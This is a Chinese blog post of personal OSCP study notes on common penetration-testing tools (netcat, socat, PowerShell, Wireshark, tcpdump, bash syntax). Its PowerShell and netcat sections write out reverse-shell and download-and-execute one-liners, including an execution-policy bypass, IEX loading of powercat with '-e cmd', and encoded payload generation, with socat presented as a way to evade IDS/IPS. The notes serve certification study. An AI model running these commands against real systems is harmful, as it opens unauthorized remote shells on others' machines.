OSCP学习笔记(2)——常用工具

NATCAT(NC)

TCP/UDP连接和数据传输工具

nc [-nv连接-nvlp监听] [-e '/bin/bash'/'cmd.exe'远程shell] [HOST] [-p {PORT}监听]
-l:监听模式,用于创建一个服务器端口并等待客户端连接。
-u:使用UDP协议而不是TCP协议。
-z:扫描模式,只扫描开放的端口,不发送任何数据。
-v:详细模式,显示更多的信息。
-w:超时时间,设置连接或读写操作的超时时间(秒)。
-n:不进行DNS解析,直接使用IP地址。
-e:执行命令,将输入和输出重定向到指定的命令。
-p:源端口号,指定本地主机的源端口号。
-s:源IP地址,指定本地主机的源IP地址。

Socat

加密shell,支持证书加密,本质上和nc一致,躲避IPS和IDS

IPS和IDS是两种常用的网络安全设备,它们的目的是监测和防御网络中的入侵行为,保护网络资源的机密性、完整性和可用性。
IPS是入侵防御系统(Intrusion Prevention System),它是一种主动的安全控制设备,它工作在网络层或应用层,通过在网络间相互连接的设备上加载允许、禁止来自某些特定的源地址、目的地址、TCP端口号等规则,对通过设备的数据包进行检查,并根据内置的入侵知识库,对数据包进行深度分析,如果发现潜在的攻击行为,可以立即采取阻断、丢弃、重置等措施,阻止攻击进入内部网络。
IDS是入侵检测系统(Intrusion Detection System),它是一种被动的安全监测设备,它工作在网络层或应用层,通过在网络上被动地、无声息地收集它所关心的报文,对收集来的报文提取相应的流量统计特征值,并利用内置的入侵知识库,与这些流量特征进行智能分析比较匹配,如果发现可疑的活动或攻击行为,可以根据相应的配置进行报警或进行有限度的反击。
IPS和IDS的区别在于,IPS是一种主动防御设备,可以实时阻止入侵行为,而IDS是一种被动监测设备,只能发现入侵行为并报警。
IPS和IDS各有优缺点,适用于不同的场景。IPS比较适合部署在网络边界,抵御来自外部的攻击,而IDS比较适合部署在网络内部,监控整个网络安全状况。

Powershell

Get-ExecutionPolicy
#查看现有策略(默认为restricted,不信任ps1脚本运行)
Set-ExecutionPolicy Unrestricted
#将策略设置为不限制
powershell -exec bypass -c "COMMAND"
#绕过现有执行策略
powershell -c "(new-object System.Net.WebClient).DownloadFile('[URL],'[TARGET]')"
#通过dot.net下载文件
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c [HOST] [-p {PORT}] -e cmd
#简单的反弹shell,需要加载ps1文件(Powershell版本的Netcat)

#TODO:一句话
powercatc -c [HOST] [-p {PORT}] -e cmd.exe [-g生成反弹shell代码/e用base64加密] > reverseshell.ps1
powershell.exe -E [ENCODEDSHELL]
#powercat生成反弹shell

Wireshark

dumpcap实现,默认root/wireshark组可用,所以要添加用户进wireshark用户组,允许用户在所有网卡抓包

sudo usermod -aG wireshark $USER

搜索Flag位上PUSH的值
“`tcp.flags.push==1“`即有信息传输

tcpdump

命令行感觉还是不如wireshark,除了能写脚本自动化

tcpdump [-r FILE]
tcpdump [-n跳过DNS解析/X以16进制显示/A省略包头] [-r FILE] awk-F " " '{print $5)'| sort | uniq -c | head
tcpdump [-nXA] [src host {HOST}源端口] [-r FILE]
tcpdump [-nXA] [dst host {HOST}目标端口] [-r FILE]
tcpdump [-nXA] [port {PORT}] [-r FILE]

bash

bash脚本编写

#!/bin/bash
#声明解析器
[KEY]=[VALUE]
[KEY]=$(COMMAND) / `COMMAND`
[KEY1]='STRING'
[KEY2]="$KEY1"
#定义变量
$0 #脚本文件名自己
$1-$9 #Bash脚本的前9个参数
$# #传递给Bash脚本的参数数量
$@ #传递给Bash脚本的所有参数
$? #最近运行的程序的退出状态
$USER #运行脚本的用户的用户名
$HOSTNAME #计算机的主机名
$RANDOM #生成个随机数
$LINENO #今脚本中的当前行号
#特殊变量
read [-p 'TOPIC'] [-s安全输入] [KEY]
#读入变量
if (!)[<EXPRESSION1>] (&&)/(||) [<EXPRESSION1>]
then
    <ACTION1>
elif [<EXPRESSION2>]
then
    <ACTION3>
else
    <ACTION3>
fi
-n STRING #长度大于零
-z STRING #长度等于零
STRING1 [!]= STRING2 #字符串判断
INTEGER1 [-eq/ne/gt/lt/ge/le] INTEGER2 #e表示等于,g(reat)大于,l(ess)小于,n(o)不
[-d存在目录/e存在/r可读/s不为空/w可写/x可执行] FILE #目录/文件
#条件判断
for var_name in <list>
do
    <ACTION>
done
#FOR循环
while [<EXPRESSION>]
do
    <ACTION>
done
#WHILE循环
function func_name{
    <ACTION>
}
func_name(){
    <ACTION>
}
#函数

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注